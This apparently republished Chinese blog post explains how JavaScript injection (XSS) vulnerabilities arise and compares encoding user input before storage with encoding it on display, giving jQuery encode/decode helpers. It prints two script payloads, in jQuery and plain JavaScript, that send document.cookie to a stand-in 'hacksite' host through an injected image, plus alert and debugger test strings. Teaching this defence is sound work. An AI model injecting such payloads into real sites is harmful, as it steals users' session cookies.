JavaScript注入漏洞的原理及防范(详解)


Posted in Javascript onDecember 04, 2016

初次接触:

初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范。

发生模式:

JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中;二是系统中存在一些UI会展示用户注入的数据。

比如注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名字的时候注入了脚本,那么受其影响的各个系统都有发生注入漏洞的风险。

曾经在帮别的项目做Bug Bash时,我给系统中的一个名字中注入了JavaScript脚本,结果导致使用这个名字的8个子系统、站点、app出现问题。

解决方案:

防范注入漏洞主要有两个思路:一个是在用户输入数据后Encode内容后再保存到持久存储,另一个是在展示用户输入数据的地方Encode从持久存储中取到的数据。

方法一的优点是一般存储用户输入数据的代码少而固定但展示输入数据的UI界面可能有很多而且还会有变化的可能,因此比较好防范;但缺点是存储在持久存储中的数据是Encode后的。

方法二的优点是存储在持久存储中的数据原始内容;但缺点是需要在多处UI界面中写代码防范,而且还得确保在增加新的UI时不忘防范。比如现在Web app比较流行,公司决定开发,那么在开发的过程必须要做好防范,否则可能别的地方都防范好了,但新系统中却没有做好防范,漏洞最后还是发生了。

JavaScript Html Encode/Decode by jQuery:

function htmlEncode(value){

return $('<div/>').text(value).html();

}

function htmlDecode(value){

return $('<div/>').html(value).text();

}

漏洞被用于攻击时注入内容:

jQuery场景:

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

原生JS场景:

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

测试漏洞时注入内容:

<script>alert(0)</script>

<script>debugger</script> --辅助开发人员快速定位出错的JavaScript代码(打开调试器的情况下)。

以上这篇JavaScript注入漏洞的原理及防范(详解)就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Javascript 相关文章推荐
JavaScript基础篇之变量作用域、传值、传址的简单介绍与实例
Jun 29 Javascript
js中判断用户输入的值是否为空的简单实例
Dec 23 Javascript
在javascript中实现函数数组的方法
Dec 25 Javascript
js/jQuery简单实现选项卡功能
Jan 02 Javascript
Dojo获取下拉框的文本和值实例代码
May 27 Javascript
【经典源码收藏】jQuery实用代码片段(筛选,搜索,样式,清除默认值,多选等)
Jun 07 Javascript
Bootstrap表单制作代码
Mar 17 Javascript
javascript cookie的基本操作(添加和删除)
Jul 24 Javascript
浅谈在vue项目中如何定义全局变量和全局函数
Oct 24 Javascript
解决vue中监听input只能输入数字及英文或者其他情况的问题
Aug 30 Javascript
利用JavaScript缓存远程窃取Wi-Fi密码的思路详解
Nov 05 Javascript
在HTML5 localStorage中存储对象的示例代码
Apr 21 Javascript
浅谈html转义及防止javascript注入攻击的方法
Dec 04 #Javascript
jquery select2的使用心得(推荐)
Dec 04 #Javascript
Jquery删除css属性的简单方法
Dec 04 #Javascript
浅谈jQuery before和insertBefore的区别
Dec 04 #Javascript
jQuery根据ID、CLASS、等获取对象的实例
Dec 04 #Javascript
jQuery得到多个值只能用取Class ,不能用取ID的方法
Dec 04 #Javascript
javaScript中定义类或对象的五种方式总结
Dec 04 #Javascript
You might like
PHP过滤★等特殊符号的正则
2014/01/27 PHP
PHP数据库操作之基于Mysqli的数据库操作类库
2014/04/19 PHP
ThinkPHP模板自定义标签使用方法
2014/06/26 PHP
round robin权重轮循算法php实现代码
2016/05/28 PHP
PHP基于rabbitmq操作类的生产者和消费者功能示例
2018/06/16 PHP
PHP strripos函数用法总结
2019/02/11 PHP
解决PHPstudy Apache无法启动的问题【亲测有效】
2020/10/30 PHP
菜鸟javascript基础整理1
2010/12/06 Javascript
JSON.stringify 语法实例讲解
2012/03/14 Javascript
通过百度地图获取公交线路的站点坐标的js代码
2012/05/11 Javascript
JavaScript中的变量作用域介绍
2014/12/31 Javascript
使用js画图之圆、弧、扇形
2015/01/12 Javascript
jQuery validate+artdialog+jquery form实现弹出表单思路详解
2016/04/18 Javascript
Vue.js第四天学习笔记
2016/12/02 Javascript
JS与jQuery实现子窗口获取父窗口元素值的方法
2017/04/17 jQuery
JavaScript数组排序reverse()和sort()方法详解
2017/12/24 Javascript
Vue2.0结合webuploader实现文件分片上传功能
2018/03/09 Javascript
深入浅析Node环境和浏览器的区别
2018/08/14 Javascript
Vue实现导航栏点击当前标签变色功能
2020/08/19 Javascript
vue发送websocket请求和http post请求的实例代码
2019/07/11 Javascript
[01:02:46]VGJ.S vs NB 2018国际邀请赛小组赛BO2 第二场 8.18
2018/08/19 DOTA
Python连接PostgreSQL数据库的方法
2016/11/28 Python
numpy 对矩阵中Nan的处理:采用平均值的方法
2018/10/30 Python
django框架事务处理小结【ORM 事务及raw sql,customize sql 事务处理】
2019/06/27 Python
PIL对上传到Django的图片进行处理并保存的实例
2019/08/07 Python
python实现代码统计器
2019/09/19 Python
Python实现手机号自动判断男女性别(实例解析)
2019/12/22 Python
通过代码实例了解Python异常本质
2020/09/16 Python
python 对xml解析的示例
2021/02/27 Python
HTML5 localStorage使用总结
2017/02/22 HTML / CSS
澳大利亚领先的内衣店:Bendon Lingerie澳大利亚
2020/05/15 全球购物
瑞士男士时尚网上商店:Babista
2020/05/14 全球购物
建筑工程管理专业自荐信范文
2013/12/28 职场文书
迎新晚会策划方案
2014/06/13 职场文书
学校政风行风评议心得体会
2014/10/21 职场文书
pytorch中的 .view()函数的用法介绍
2022/03/17 Python